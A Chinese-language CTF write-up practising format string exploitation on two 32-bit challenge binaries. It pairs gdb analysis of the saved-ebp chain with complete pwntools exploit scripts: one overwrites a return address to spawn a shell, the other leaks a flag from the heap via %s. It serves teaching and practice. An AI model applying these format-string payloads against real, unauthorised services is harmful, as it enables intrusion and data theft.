.text:080485B1 sub esp, 0Ch

.text:080485B4 push offset command ; "/bin/sh"

.text:080485B9 call _system

.text:080485BE add esp, 10h

.text:080485C1 nop

.text:080485C2 leave

.text:080485C3 retn

這下可以直接改ret address即可。

gdb分析

先觀察一下ebp鏈是否存在 :

是存在的,然后直接利用就好了。

看一下,在第一次改ebp2里面的值: 0xffffd338 時,發現下面的第二個只需要改一個字節即可,然后目標就是改成這個棧地址了:

然后接著利用漏洞,改一下返回地址到后門函數即可。

(這個題自己在做的時候,先是試著利用第二個的0xffffd2f8 ,這個鏈發現本地可以打通,遠程是不行的,這就是環境因素了,遠程由于libc版本的不同,棧結構也是不同的。所以做題還是優先,考慮ebp鏈,然后沒法利用了,在考慮充分利用棧數據,這個通常也是出題人精心設計的棧結構,讓你有數據可以利用。)

exp

from pwn import *

context.log_level = 'debug'

context.arch = 'i386'

system_addr = 0x080485B4

tag1 = 0x4c

tag2 = 0x85ab

io = process('./xman_2019_format')

# io = remote('node3.buuoj.cn',27012)

payload = '%{}c%10$hhn|'.format(0x4c)

payload += '%{}c%18$hn~'.format(0x85ab)

while True:

try:

io.recvuntil('...\n...\n')

io.sendline(payload)

sleep(0.1)

io.recvuntil('~')

io.sendline('ls')

io.recvline()

io.recvline()

io.interactive()

break

except EOFError :

io.close()

io = process('./xman_2019_format')

# io = remote('node3.buuoj.cn',27012)

需要爆破棧。

suctf-2019-playfmt

保護和arch

Arch: i386-32-little

RELRO: Full RELRO

Stack: No canary found

NX: NX enabled

PIE: No PIE (0x8048000)

開啟了RELRO,這樣就無法got hijack了

ida分析

gdb分析

程序先讀入了flag文件,自己可以寫一個flag文件測試,并且gdb跟隨:

其會被讀到堆上。緊接著跟到格式化字符串漏洞處:

看一下這個堆地址是否被程序操作修改了:

gdb-peda$ x/s 0x8050b70

0x8050b70: "flag{f9255a80-e059-4c12-8788-161bf8c6908b}"

發現并沒有,那就很簡單了。攻擊思路就是,在棧上構造出這個存放flag的堆地址(計算方式就是在此時的棧上找一個地址來計算偏移獲取)。

第一步:

先修改ebp2上存放的值,改成后面那個框框對應的棧地址,然后在做處理:

0024| 0xffffd318 --> 0xffffd338 --> 0xffffd348 --> 0x8050ba0 --> 0x0

此時再修改ebp1上的值,改成剛剛的堆地址 :

這樣exp寫的時候,找好偏移%s一下就出來了。

exp

from pwn import *

context.log_level = 'debug'

context.arch = 'i386'

# io = remote('node3.buuoj.cn',27816)

io = process('./1')

io.recvuntil('Magic echo Server')

io.recvuntil('=====================\n')

io.sendline('%18$p')

io.recvuntil('0x')

flag = int(io.recv(8),16)

print(hex(flag))

key = int((hex(flag))[-4:],16) - 32 -12 -4

print('key'+ hex(key))

# raw_input('->')

io.sendline('%6$p')

io.recvuntil('0x')

stack_point = int(io.recv(8),16) + 16

tag1 = int((hex(stack_point))[-2:],16)

print(hex(tag1))

payload = '%' + str(tag1) + 'c%6$hhn' + '1'

raw_input('->')

io.sendline(payload)

io.recvuntil('1')

payload = '%' + str(key & 0xffff) + 'c%14$hn' + '2'

raw_input('->')

io.sendline(payload)

io.recvuntil('2')

io.sendline('%18$s')

io.interactive()

總結

以上是生活随笔為你收集整理的c语言格式化字符漏洞,格式化字符串漏洞题目练习的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。